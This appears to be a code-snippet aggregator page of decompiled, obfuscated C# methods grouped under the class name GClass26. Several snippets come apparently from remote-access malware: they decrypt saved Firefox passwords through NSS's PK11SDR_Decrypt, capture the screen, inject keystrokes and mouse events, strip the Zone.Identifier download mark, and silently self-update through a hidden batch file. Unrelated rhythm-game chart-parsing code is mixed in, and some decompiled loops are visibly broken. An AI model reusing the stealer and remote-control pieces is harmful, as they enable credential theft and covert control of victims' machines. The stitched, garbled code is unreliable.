Example #1
0
        // Token: 0x06000465 RID: 1125 RVA: 0x00010770 File Offset: 0x0000E970
        private static int PK11SDR_Decrypt(ref Firefox.TSECItem data, ref Firefox.TSECItem result, int cx)
        {
            IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "PK11SDR_Decrypt");

            Firefox.PK11SDR_DecryptPtr pk11SDR_DecryptPtr = (Firefox.PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.PK11SDR_DecryptPtr));
            return(pk11SDR_DecryptPtr(ref data, ref result, cx));
        }
Example #2
0
        // Token: 0x06000463 RID: 1123 RVA: 0x000106F4 File Offset: 0x0000E8F4
        private static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
        {
            IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "PK11_Authenticate");

            Firefox.PK11_AuthenticatePtr pk11_AuthenticatePtr = (Firefox.PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.PK11_AuthenticatePtr));
            return(pk11_AuthenticatePtr(slot, loadCerts, wincx));
        }
Example #3
0
        // Token: 0x06000464 RID: 1124 RVA: 0x00010730 File Offset: 0x0000E930
        private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
        {
            IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "NSSBase64_DecodeBuffer");

            Firefox.NSSBase64_DecodeBufferPtr nssbase64_DecodeBufferPtr = (Firefox.NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.NSSBase64_DecodeBufferPtr));
            return(nssbase64_DecodeBufferPtr(arenaOpt, outItemOpt, inStr, inLen));
        }
Example #4
0
        // Token: 0x06000462 RID: 1122 RVA: 0x000106B8 File Offset: 0x0000E8B8
        private static long PK11_GetInternalKeySlot()
        {
            IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "PK11_GetInternalKeySlot");

            Firefox.PK11_GetInternalKeySlotPtr pk11_GetInternalKeySlotPtr = (Firefox.PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.PK11_GetInternalKeySlotPtr));
            return(pk11_GetInternalKeySlotPtr());
        }
Example #5
0
        // Token: 0x06000208 RID: 520 RVA: 0x0000D7E0 File Offset: 0x0000B9E0
        public unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length)
        {
            if (length < 4U)
            {
                return(this._decodedBitmap);
            }
            int num = *(int *)((void *)codecBuffer);

            if (this._decodedBitmap == null)
            {
                byte[] array = new byte[num];
                byte[] array2;
                byte * ptr;
                if ((array2 = array) != null && array2.Length != 0)
                {
                    fixed(byte *ptr = &array2[0])
                    {
                    }
                }
                else
                {
                    ptr = null;
                }
                GClass26.memcpy(new IntPtr((void *)ptr), new IntPtr(codecBuffer.ToInt32() + 4), (uint)num);
                ptr = null;
                this._decodedBitmap = (Bitmap)Image.FromStream(new MemoryStream(array));
                return(this._decodedBitmap);
            }
            return(this._decodedBitmap);
        }
Example #6
0
 // Token: 0x06000047 RID: 71 RVA: 0x00005288 File Offset: 0x00003488
 public static uint smethod_0()
 {
     GClass26.GStruct0 gstruct = default(GClass26.GStruct0);
     gstruct.uint_0 = (uint)Marshal.SizeOf(gstruct);
     gstruct.uint_1 = 0U;
     if (!GClass26.GetLastInputInfo(ref gstruct))
     {
         return(0U);
     }
     return(gstruct.uint_1);
 }
Example #7
0
    // Token: 0x06000296 RID: 662 RVA: 0x0002C1FC File Offset: 0x0002A3FC
    public void method_40(CHPlayer gclass9_0, BasePlayer basePlayer_0, Song gclass27_0)
    {
        int      i      = 0;
        int      num    = gclass9_0.int_0 * this.int_9;
        GClass26 gclass = gclass27_0.method_59(gclass9_0.gclass10_0.genum18_0, gclass9_0.gclass10_0.genum17_0);

        this.int_8[gclass9_0.int_0]   = basePlayer_0.int_6;
        this.int_6[gclass9_0.int_0]   = basePlayer_0.int_3;
        this.int_7[gclass9_0.int_0]   = gclass.method_50().Length;
        this.int_3[gclass9_0.int_0]   = basePlayer_0.int_7;
        this.float_0[gclass9_0.int_0] = (float)(basePlayer_0.int_6 - basePlayer_0.int_9) / (float)gclass.method_21();
        for (int j = 1; j < this.int_9; j += 0)
        {
            uint num2 = 0u;
            int  num3 = 1;
            int  num4 = 1;
            if (j < this.int_9 - 0)
            {
                num2 = this.gclass22_0[j + 1].uint_0;
            }
            while (i < basePlayer_0.noteRenderer.list_0.Count)
            {
                GClass6 gclass2 = basePlayer_0.noteRenderer.list_0[i];
                if (num2 > 0u && gclass2.uint_0 >= num2)
                {
                    break;
                }
                if (!gclass2.Boolean_1 || !gclass2.Boolean_2)
                {
                    if (gclass2.bool_0)
                    {
                        num3++;
                    }
                    num4 += 0;
                }
                i++;
            }
            if (num4 == 0)
            {
                this.int_1[num] = -1;
            }
            else
            {
                this.int_1[num] = (int)((float)num3 / (float)num4 * 1854f);
            }
            this.int_4[gclass9_0.int_0] += num3;
            this.int_5[gclass9_0.int_0] += num4;
            num++;
        }
        this.int_2[gclass9_0.int_0] = (int)((float)this.int_4[gclass9_0.int_0] / (float)this.int_5[gclass9_0.int_0] * 1953f);
    }
Example #8
0
    // Token: 0x06000067 RID: 103 RVA: 0x000055E8 File Offset: 0x000037E8
    public static Bitmap smethod_0(int screenNumber)
    {
        Rectangle rectangle = GClass10.smethod_1(screenNumber);
        Bitmap    bitmap    = new Bitmap(rectangle.Width, rectangle.Height, PixelFormat.Format32bppPArgb);

        using (Graphics graphics = Graphics.FromImage(bitmap))
        {
            IntPtr hdc    = graphics.GetHdc();
            IntPtr intPtr = GClass26.CreateDC("DISPLAY", null, null, IntPtr.Zero);
            GClass26.BitBlt(hdc, 0, 0, rectangle.Width, rectangle.Height, intPtr, rectangle.X, rectangle.Y, 13369376);
            GClass26.DeleteDC(intPtr);
            graphics.ReleaseHdc(hdc);
        }
        return(bitmap);
    }
Example #9
0
    // Token: 0x060003DF RID: 991 RVA: 0x000307E0 File Offset: 0x0002E9E0
    public List <GClass6> method_30(CHPlayer gclass9_0, bool bool_5)
    {
        GClass26       gclass = this.song.method_59(gclass9_0.gclass10_0.genum18_0, gclass9_0.gclass10_0.genum17_0);
        List <GClass6> list   = Chart.smethod_47(this.song, gclass, gclass9_0.gclass10_0);

        if (bool_5)
        {
            int int_ = gclass.method_24();
            this.starProgress.method_56(int_);
        }
        if (gclass9_0.gclass10_0.gclass5_2.method_30() && gclass9_0.gclass10_0.method_15())
        {
            this.method_66(list);
        }
        return(list);
    }
Example #10
0
    // Token: 0x060003E8 RID: 1000 RVA: 0x00031054 File Offset: 0x0002F254
    public List <GClass6> method_39(CHPlayer gclass9_0, bool bool_5)
    {
        GClass26       gclass = this.song.method_59(gclass9_0.gclass10_0.genum18_0, gclass9_0.gclass10_0.genum17_0);
        List <GClass6> notesFromStandardChart = Chart.GetNotesFromStandardChart(this.song, gclass, gclass9_0.gclass10_0);

        if (bool_5)
        {
            int int_ = gclass.method_24();
            this.starProgress.method_71(int_);
        }
        if (gclass9_0.gclass10_0.gclass5_2.Boolean_1 && gclass9_0.gclass10_0.Boolean_1)
        {
            this.method_66(notesFromStandardChart);
        }
        return(notesFromStandardChart);
    }
Example #11
0
        // Token: 0x06000461 RID: 1121 RVA: 0x0001064C File Offset: 0x0000E84C
        private static IntPtr LoadWin32Library(string libPath)
        {
            if (string.IsNullOrEmpty(libPath))
            {
                throw new ArgumentNullException("libPath");
            }
            IntPtr intPtr = GClass26.LoadLibrary(libPath);

            if (intPtr == IntPtr.Zero)
            {
                int            lastWin32Error = Marshal.GetLastWin32Error();
                Win32Exception ex             = new Win32Exception(lastWin32Error);
                ex.Data.Add("LastWin32Error", lastWin32Error);
                throw new Exception("can't load DLL " + libPath, ex);
            }
            return(intPtr);
        }
Example #12
0
        // Token: 0x0600045B RID: 1115 RVA: 0x0001037C File Offset: 0x0000E57C
        private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
        {
            if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major)
            {
                return;
            }
            GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll");
            GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll");
            GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
            GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
            GClass26.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
            Firefox.nssModule = GClass26.LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
            IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "NSS_Init");

            Firefox.NSS_InitPtr nss_InitPtr = (Firefox.NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.NSS_InitPtr));
            nss_InitPtr(firefoxProfilePath.FullName);
            long slot = Firefox.PK11_GetInternalKeySlot();

            Firefox.PK11_Authenticate(slot, true, 0L);
        }
Example #13
0
 // Token: 0x0600007A RID: 122 RVA: 0x000061D8 File Offset: 0x000043D8
 public static void smethod_0(Client c, string newFilePath)
 {
     try
     {
         GClass4.smethod_2(newFilePath);
         byte[] array = File.ReadAllBytes(newFilePath);
         if (array[0] != 77 && array[1] != 90)
         {
             throw new Exception("no pe file");
         }
         string text = GClass4.smethod_4(newFilePath, GClass35.bool_0 && GClass35.bool_2);
         if (string.IsNullOrEmpty(text))
         {
             throw new Exception("Could not create update batch file.");
         }
         ProcessStartInfo startInfo = new ProcessStartInfo
         {
             WindowStyle     = ProcessWindowStyle.Hidden,
             CreateNoWindow  = true,
             UseShellExecute = true,
             FileName        = text
         };
         Process.Start(startInfo);
         GClass0.Disconnect = true;
         if (GClass35.bool_0 && GClass35.bool_1)
         {
             GClass16.smethod_2();
         }
         c.Disconnect();
     }
     catch (Exception ex)
     {
         GClass26.DeleteFile(newFilePath);
         new SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(c);
     }
 }
Example #14
0
        // Token: 0x06000207 RID: 519 RVA: 0x0000D01C File Offset: 0x0000B21C
        public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, Stream outStream)
        {
            lock (this._imageProcessLock)
            {
                byte *ptr = scan0.ToInt32();
                if (!outStream.CanWrite)
                {
                    throw new Exception("Must have access to Write in the Stream");
                }
                int num  = 0;
                int num2 = 0;
                int num3 = 0;
                if (format <= PixelFormat.Format32bppRgb)
                {
                    if (format == PixelFormat.Format24bppRgb || format == PixelFormat.Format32bppRgb)
                    {
                        num3 = 3;
                        goto IL_81;
                    }
                }
                else if (format == PixelFormat.Format32bppPArgb || format == PixelFormat.Format32bppArgb)
                {
                    num3 = 4;
                    goto IL_81;
                }
                throw new NotSupportedException(format.ToString());
IL_81:
                num  = imageSize.Width * num3;
                num2 = num * imageSize.Height;
                if (this._encodeBuffer == null)
                {
                    this._encodedFormat = format;
                    this._encodedWidth  = imageSize.Width;
                    this._encodedHeight = imageSize.Height;
                    this._encodeBuffer  = new byte[num2];
                    byte[] encodeBuffer;
                    byte * ptr2;
                    if ((encodeBuffer = this._encodeBuffer) != null && encodeBuffer.Length != 0)
                    {
                        fixed(byte *ptr2 = &encodeBuffer[0])
                        {
                        }
                    }
                    else
                    {
                        ptr2 = null;
                    }
                    byte[] array = null;
                    using (Bitmap bitmap = new Bitmap(imageSize.Width, imageSize.Height, num, format, scan0))
                    {
                        array = this._jpgCompression.Compress(bitmap);
                    }
                    outStream.Write(BitConverter.GetBytes(array.Length), 0, 4);
                    outStream.Write(array, 0, array.Length);
                    GClass26.memcpy(new IntPtr((void *)ptr2), scan0, (uint)num2);
                    ptr2 = null;
                }
                else
                {
                    if (this._encodedFormat != format)
                    {
                        throw new Exception("PixelFormat is not equal to previous Bitmap");
                    }
                    if (this._encodedWidth == imageSize.Width)
                    {
                        if (this._encodedHeight == imageSize.Height)
                        {
                            long position = outStream.Position;
                            outStream.Write(new byte[4], 0, 4);
                            long             num4      = 0L;
                            List <Rectangle> list      = new List <Rectangle>();
                            Size             size      = new Size(scanArea.Width, this.CheckBlock.Height);
                            Size             size2     = new Size(scanArea.Width % this.CheckBlock.Width, scanArea.Height % this.CheckBlock.Height);
                            int              num5      = scanArea.Height - size2.Height;
                            int              num6      = scanArea.Width - size2.Width;
                            Rectangle        rectangle = default(Rectangle);
                            List <Rectangle> list2     = new List <Rectangle>();
                            size = new Size(scanArea.Width, size.Height);
                            byte[] encodeBuffer2;
                            byte * ptr3;
                            if ((encodeBuffer2 = this._encodeBuffer) != null && encodeBuffer2.Length != 0)
                            {
                                fixed(byte *ptr3 = &encodeBuffer2[0])
                                {
                                }
                            }
                            else
                            {
                                ptr3 = null;
                            }
                            for (int num7 = scanArea.Y; num7 != scanArea.Height; num7 += size.Height)
                            {
                                if (num7 == num5)
                                {
                                    size = new Size(scanArea.Width, size2.Height);
                                }
                                rectangle = new Rectangle(scanArea.X, num7, scanArea.Width, size.Height);
                                int num8 = num7 * num + scanArea.X * num3;
                                if (GClass26.memcmp(ptr3 + num8, ptr + num8, (uint)num) != 0)
                                {
                                    int index = list.Count - 1;
                                    if (list.Count != 0 && list[index].Y + list[index].Height == rectangle.Y)
                                    {
                                        rectangle   = new Rectangle(list[index].X, list[index].Y, list[index].Width, list[index].Height + rectangle.Height);
                                        list[index] = rectangle;
                                    }
                                    else
                                    {
                                        list.Add(rectangle);
                                    }
                                }
                            }
                            for (int i = 0; i < list.Count; i++)
                            {
                                size = new Size(this.CheckBlock.Width, list[i].Height);
                                for (int num9 = scanArea.X; num9 != scanArea.Width; num9 += size.Width)
                                {
                                    if (num9 == num6)
                                    {
                                        size = new Size(size2.Width, list[i].Height);
                                    }
                                    rectangle = new Rectangle(num9, list[i].Y, size.Width, list[i].Height);
                                    bool flag2 = false;
                                    uint count = (uint)(num3 * rectangle.Width);
                                    for (int j = 0; j < rectangle.Height; j++)
                                    {
                                        int num10 = num * (rectangle.Y + j) + num3 * rectangle.X;
                                        if (GClass26.memcmp(ptr3 + num10, ptr + num10, count) != 0)
                                        {
                                            flag2 = true;
                                        }
                                        GClass26.memcpy_1((void *)((byte *)ptr3 + num10), (void *)(ptr + num10), count);
                                    }
                                    if (flag2)
                                    {
                                        int index = list2.Count - 1;
                                        if (list2.Count > 0 && list2[index].X + list2[index].Width == rectangle.X)
                                        {
                                            Rectangle rectangle2 = list2[index];
                                            int       width      = rectangle.Width + rectangle2.Width;
                                            rectangle    = new Rectangle(rectangle2.X, rectangle2.Y, width, rectangle2.Height);
                                            list2[index] = rectangle;
                                        }
                                        else
                                        {
                                            list2.Add(rectangle);
                                        }
                                    }
                                }
                            }
                            ptr3 = null;
                            for (int k = 0; k < list2.Count; k++)
                            {
                                Rectangle  rectangle3 = list2[k];
                                int        num11      = num3 * rectangle3.Width;
                                Bitmap     bitmap2    = null;
                                BitmapData bitmapData = null;
                                long       num14;
                                try
                                {
                                    bitmap2    = new Bitmap(rectangle3.Width, rectangle3.Height, format);
                                    bitmapData = bitmap2.LockBits(new Rectangle(0, 0, bitmap2.Width, bitmap2.Height), ImageLockMode.ReadWrite, bitmap2.PixelFormat);
                                    int l     = 0;
                                    int num12 = 0;
                                    while (l < rectangle3.Height)
                                    {
                                        int num13 = num * (rectangle3.Y + l) + num3 * rectangle3.X;
                                        GClass26.memcpy_1((void *)((byte *)bitmapData.Scan0.ToPointer() + num12), (void *)(ptr + num13), (uint)num11);
                                        num12 += num11;
                                        l++;
                                    }
                                    outStream.Write(BitConverter.GetBytes(rectangle3.X), 0, 4);
                                    outStream.Write(BitConverter.GetBytes(rectangle3.Y), 0, 4);
                                    outStream.Write(BitConverter.GetBytes(rectangle3.Width), 0, 4);
                                    outStream.Write(BitConverter.GetBytes(rectangle3.Height), 0, 4);
                                    outStream.Write(new byte[4], 0, 4);
                                    num14 = outStream.Length;
                                    long position2 = outStream.Position;
                                    this._jpgCompression.Compress(bitmap2, ref outStream);
                                    num14 = outStream.Position - num14;
                                    outStream.Position = position2 - 4L;
                                    outStream.Write(BitConverter.GetBytes(num14), 0, 4);
                                    outStream.Position += num14;
                                }
                                finally
                                {
                                    bitmap2.UnlockBits(bitmapData);
                                    bitmap2.Dispose();
                                }
                                num4 += num14 + 20L;
                            }
                            outStream.Position = position;
                            outStream.Write(BitConverter.GetBytes(num4), 0, 4);
                            return;
                        }
                    }
                    throw new Exception("Bitmap width/height are not equal to previous bitmap");
                }
            }
        }
Example #15
0
 // Token: 0x0600004C RID: 76 RVA: 0x0000235F File Offset: 0x0000055F
 public static void smethod_5(byte key, bool keyDown)
 {
     GClass26.keybd_event(key, 0, keyDown ? 0U : 2U, 0);
 }
Example #16
0
 // Token: 0x0600004B RID: 75 RVA: 0x0000233B File Offset: 0x0000053B
 public static void smethod_4(Point p, bool scrollDown)
 {
     GClass26.mouse_event(2048U, p.X, p.Y, scrollDown ? -120 : 120, 0);
 }
Example #17
0
 // Token: 0x0600004A RID: 74 RVA: 0x00002325 File Offset: 0x00000525
 public static void smethod_3(Point p)
 {
     GClass26.SetCursorPos(p.X, p.Y);
 }
Example #18
0
 // Token: 0x06000049 RID: 73 RVA: 0x00002306 File Offset: 0x00000506
 public static void smethod_2(Point p, bool isMouseDown)
 {
     GClass26.mouse_event(isMouseDown ? 8U : 16U, p.X, p.Y, 0, 0);
 }
Example #19
0
 // Token: 0x0600003A RID: 58 RVA: 0x0000224F File Offset: 0x0000044F
 public static bool smethod_2(string filePath)
 {
     return(GClass26.DeleteFile(filePath + ":Zone.Identifier"));
 }
Example #20
0
    // Token: 0x06002A65 RID: 10853 RVA: 0x00138278 File Offset: 0x00136478
    private static void smethod_7(EventsCollection eventsCollection_0, Song gclass27_0, Song.Instrument genum18_0)
    {
        List <NoteOnEvent> list  = new List <NoteOnEvent>(500);
        List <SysExEvent>  list2 = new List <SysExEvent>(500);
        List <int>         list3 = new List <int>(10);
        int  num  = (int)(64f * gclass27_0.float_3 / GClass15.float_0);
        bool flag = false;

        if (!GClass30.bool_0 && SongEntry.currentSongMultiplierNote == 0)
        {
            int num2 = 0;
            for (int i = 0; i < eventsCollection_0.Count; i++)
            {
                NoteOnEvent noteOnEvent = eventsCollection_0[i] as NoteOnEvent;
                if (noteOnEvent != null && noteOnEvent.OffEvent != null)
                {
                    if (noteOnEvent.NoteNumber == 103)
                    {
                        num2++;
                    }
                    else if (noteOnEvent.NoteNumber == 116)
                    {
                        num2 = 0;
IL_A6:
                        if (num2 >= 2)
                        {
                            flag = true;
                            goto IL_AE;
                        }
                        goto IL_AE;
                    }
                }
            }
            goto IL_A6;
        }
IL_AE:
        int j = 0;

        while (j < eventsCollection_0.Count)
        {
            NoteOnEvent noteOnEvent2 = eventsCollection_0[j] as NoteOnEvent;
            if (noteOnEvent2 == null || noteOnEvent2.OffEvent == null)
            {
                goto IL_4E6;
            }
            uint num3 = (uint)noteOnEvent2.AbsoluteTime;
            uint num4 = (uint)(noteOnEvent2.OffEvent.AbsoluteTime - (long)((ulong)num3));
            if (!GClass30.bool_0)
            {
                if (noteOnEvent2.NoteNumber != 116)
                {
                    if (!flag || noteOnEvent2.NoteNumber != 103)
                    {
                        if (noteOnEvent2.NoteNumber == 103)
                        {
                            using (IEnumerator enumerator = Enum.GetValues(typeof(Song.GEnum17)).GetEnumerator())
                            {
                                while (enumerator.MoveNext())
                                {
                                    object       obj      = enumerator.Current;
                                    Song.GEnum17 genum17_ = (Song.GEnum17)obj;
                                    gclass27_0.method_59(genum18_0, genum17_).list_1.Add(new GClass8(gclass27_0.method_52((uint)noteOnEvent2.AbsoluteTime), gclass27_0.method_2((uint)noteOnEvent2.AbsoluteTime, (uint)noteOnEvent2.OffEvent.AbsoluteTime), (uint)noteOnEvent2.AbsoluteTime, (uint)noteOnEvent2.OffEvent.AbsoluteTime));
                                }
                                goto IL_564;
                            }
                        }
                        byte b = noteOnEvent2.NoteNumber;
                        if (b <= 78)
                        {
                            if (b - 65 > 1 && b - 77 > 1)
                            {
                                goto IL_28F;
                            }
                        }
                        else if (b - 89 > 1 && b - 101 > 1)
                        {
                            goto IL_28F;
                        }
                        list.Add(noteOnEvent2);
                        goto IL_564;
                    }
                }
                using (IEnumerator enumerator = Enum.GetValues(typeof(Song.GEnum17)).GetEnumerator())
                {
                    while (enumerator.MoveNext())
                    {
                        object       obj2      = enumerator.Current;
                        Song.GEnum17 genum17_2 = (Song.GEnum17)obj2;
                        gclass27_0.method_59(genum18_0, genum17_2).method_12(new GClass20(num3, num4), false);
                    }
                    goto IL_564;
                }
            }
IL_28F:
            GClass19.GEnum13 genum13_ = GClass19.GEnum13.GREEN;
            if ((ulong)num4 <= (ulong)((long)num))
            {
                num4 = 0u;
            }
            if (genum18_0 == Song.Instrument.GHLGuitar)
            {
                goto IL_399;
            }
            if (genum18_0 == Song.Instrument.GHLBass)
            {
                goto IL_399;
            }
            switch (noteOnEvent2.NoteNumber)
            {
            case 60:
            case 72:
            case 84:
            case 96:
                genum13_ = GClass19.GEnum13.GREEN;
                break;

            case 61:
            case 73:
            case 85:
            case 97:
                genum13_ = GClass19.GEnum13.RED;
                break;

            case 62:
            case 74:
            case 86:
            case 98:
                genum13_ = GClass19.GEnum13.YELLOW;
                break;

            case 63:
            case 75:
            case 87:
            case 99:
                genum13_ = GClass19.GEnum13.BLUE;
                break;

            case 64:
            case 76:
            case 88:
            case 100:
                genum13_ = GClass19.GEnum13.ORANGE;
                break;

            case 65:
            case 66:
            case 67:
            case 68:
            case 69:
            case 70:
            case 71:
            case 77:
            case 78:
            case 79:
            case 80:
            case 81:
            case 82:
            case 83:
            case 89:
            case 90:
            case 91:
            case 92:
            case 93:
            case 94:
            case 95:
            case 101:
                goto IL_564;

            default:
                goto IL_564;
            }
IL_483:
            Song.GEnum17 genum;
            try
            {
                genum = GClass30.smethod_8((int)noteOnEvent2.NoteNumber);
                if (GClass30.bool_0 && list3.Contains((int)genum))
                {
                    goto IL_564;
                }
            }
            catch
            {
                goto IL_564;
            }
            gclass27_0.method_59(genum18_0, genum).method_12(new GClass19(num3, genum13_, num4, GClass19.GEnum15.NONE), GClass30.bool_0);
            if (GClass30.bool_0)
            {
                list3.Add((int)genum);
                goto IL_564;
            }
            goto IL_4E6;
IL_399:
            switch (noteOnEvent2.NoteNumber)
            {
            case 58:
            case 70:
            case 82:
            case 94:
                genum13_ = GClass19.GEnum13.OPEN;
                goto IL_483;

            case 59:
            case 71:
            case 83:
            case 95:
                genum13_ = GClass19.GEnum13.W1;
                goto IL_483;

            case 60:
            case 72:
            case 84:
            case 96:
                genum13_ = GClass19.GEnum13.W2;
                goto IL_483;

            case 61:
            case 73:
            case 85:
            case 97:
                genum13_ = GClass19.GEnum13.W3;
                goto IL_483;

            case 62:
            case 74:
            case 86:
            case 98:
                genum13_ = GClass19.GEnum13.B1;
                goto IL_483;

            case 63:
            case 75:
            case 87:
            case 99:
                genum13_ = GClass19.GEnum13.B2;
                goto IL_483;

            case 64:
            case 76:
            case 88:
            case 100:
                genum13_ = GClass19.GEnum13.B3;
                goto IL_483;

            case 65:
            case 66:
            case 67:
            case 68:
            case 69:
            case 77:
            case 78:
            case 79:
            case 80:
            case 81:
            case 89:
            case 90:
            case 91:
            case 92:
            case 93:
                goto IL_483;

            default:
                goto IL_483;
            }
IL_564:
            j++;
            continue;
IL_4E6:
            if (GClass30.bool_0)
            {
                goto IL_564;
            }
            TextEvent textEvent = eventsCollection_0[j] as TextEvent;
            if (textEvent != null && textEvent.Text != null)
            {
                uint   uint_   = (uint)textEvent.AbsoluteTime;
                string string_ = textEvent.Text.Trim(new char[]
                {
                    '[',
                    ']'
                });
                gclass27_0.method_59(genum18_0, Song.GEnum17.Expert).method_12(new ChartEvent(uint_, string_), true);
            }
            SysExEvent sysExEvent = eventsCollection_0[j] as SysExEvent;
            if (sysExEvent != null)
            {
                list2.Add(sysExEvent);
                goto IL_564;
            }
            goto IL_564;
        }
        foreach (object obj3 in Enum.GetValues(typeof(Song.GEnum17)))
        {
            Song.GEnum17 genum17_3 = (Song.GEnum17)obj3;
            gclass27_0.method_59(genum18_0, genum17_3).method_18();
        }
        if (!GClass30.bool_0)
        {
            Array      values = Enum.GetValues(typeof(Song.GEnum17));
            GClass26[] array  = new GClass26[values.Length];
            int        num5   = 0;
            foreach (object obj4 in values)
            {
                Song.GEnum17 genum17_4 = (Song.GEnum17)obj4;
                array[num5++] = gclass27_0.method_59(genum18_0, genum17_4);
            }
            for (int k = 0; k < list2.Count; k++)
            {
                SysExEvent sysExEvent2 = list2[k];
                byte[]     data        = sysExEvent2.Data;
                if (data.Length == 8 && data[4] == 255 && data[6] == 1)
                {
                    uint num6 = (uint)sysExEvent2.AbsoluteTime;
                    uint num7 = 0u;
                    for (int l = k; l < list2.Count; l++)
                    {
                        SysExEvent sysExEvent3 = list2[l];
                        byte[]     data2       = sysExEvent3.Data;
                        if (data2.Length == 8 && data2[4] == 255 && data2[6] == 0)
                        {
                            num7 = (uint)(sysExEvent3.AbsoluteTime - (long)((ulong)num6));
IL_6D3:
                            foreach (GClass26 gclass in array)
                            {
                                int num8;
                                int num9;
                                GClass16.smethod_18 <GClass19>(gclass.GClass19_0, num6, num6 + num7, out num8, out num9);
                                for (int n = num8; n < num8 + num9; n++)
                                {
                                    gclass.GClass19_0[n].method_18(GClass19.GEnum14.Tap);
                                }
                            }
                            goto IL_83C;
                        }
                    }
                    goto IL_6D3;
                }
                if (data.Length == 8 && data[4] >= 0 && data[4] < 4 && data[6] == 1)
                {
                    uint         num10 = (uint)sysExEvent2.AbsoluteTime;
                    Song.GEnum17 genum17_5;
                    switch (data[4])
                    {
                    case 0:
                        genum17_5 = Song.GEnum17.Easy;
                        break;

                    case 1:
                        genum17_5 = Song.GEnum17.Medium;
                        break;

                    case 2:
                        genum17_5 = Song.GEnum17.Hard;
                        break;

                    case 3:
                        genum17_5 = Song.GEnum17.Expert;
                        break;

                    default:
                        goto IL_83C;
                    }
                    uint num11 = 0u;
                    for (int num12 = k; num12 < list2.Count; num12++)
                    {
                        SysExEvent sysExEvent4 = list2[num12];
                        if (sysExEvent4 != null)
                        {
                            byte[] data3 = sysExEvent4.Data;
                            if (data3.Length == 8 && data3[4] == data[4] && data3[6] == 0)
                            {
                                num11 = (uint)(sysExEvent4.AbsoluteTime - (long)((ulong)num10));
                                if (num11 > 0u)
                                {
                                    num11 -= 1u;
                                }
IL_7FA:
                                GClass19[] gclass19_ = gclass27_0.method_59(genum18_0, genum17_5).GClass19_0;
                                int        num13;
                                int        num14;
                                GClass16.smethod_18 <GClass19>(gclass19_, num10, num10 + num11, out num13, out num14);
                                for (int num15 = num13; num15 < num13 + num14; num15++)
                                {
                                    gclass19_[num15].genum13_0 = GClass19.GEnum13.OPEN;
                                }
                                goto IL_83C;
                            }
                        }
                    }
                    goto IL_7FA;
                }
                IL_83C :;
            }
            int num16 = 0;
            while (num16 < list.Count)
            {
                uint num17 = (uint)list[num16].AbsoluteTime;
                uint num18 = (uint)list[num16].OffEvent.AbsoluteTime;
                if (num18 - num17 != 0u)
                {
                    num18 -= 1u;
                }
                Song.GEnum17 genum17_6;
                try
                {
                    genum17_6 = GClass30.smethod_8((int)list[num16].NoteNumber);
                }
                catch
                {
                    goto IL_927;
                }
                goto IL_8A8;
IL_927:
                num16++;
                continue;
IL_8A8:
                GClass26 gclass2 = gclass27_0.method_59(genum18_0, genum17_6);
                int num19;
                int num20;
                GClass16.smethod_18 <GClass19>(gclass2.GClass19_0, num17, num18, out num19, out num20);
                for (int num21 = num19; num21 < num19 + num20; num21++)
                {
                    if ((gclass2.GClass19_0[num21].genum15_0 & GClass19.GEnum15.TAP) == GClass19.GEnum15.NONE)
                    {
                        if (list[num16].NoteNumber % 2 != 0)
                        {
                            gclass2.GClass19_0[num21].method_18(GClass19.GEnum14.Hopo);
                        }
                        else
                        {
                            gclass2.GClass19_0[num21].method_18(GClass19.GEnum14.Strum);
                        }
                    }
                }
                goto IL_927;
            }
        }
    }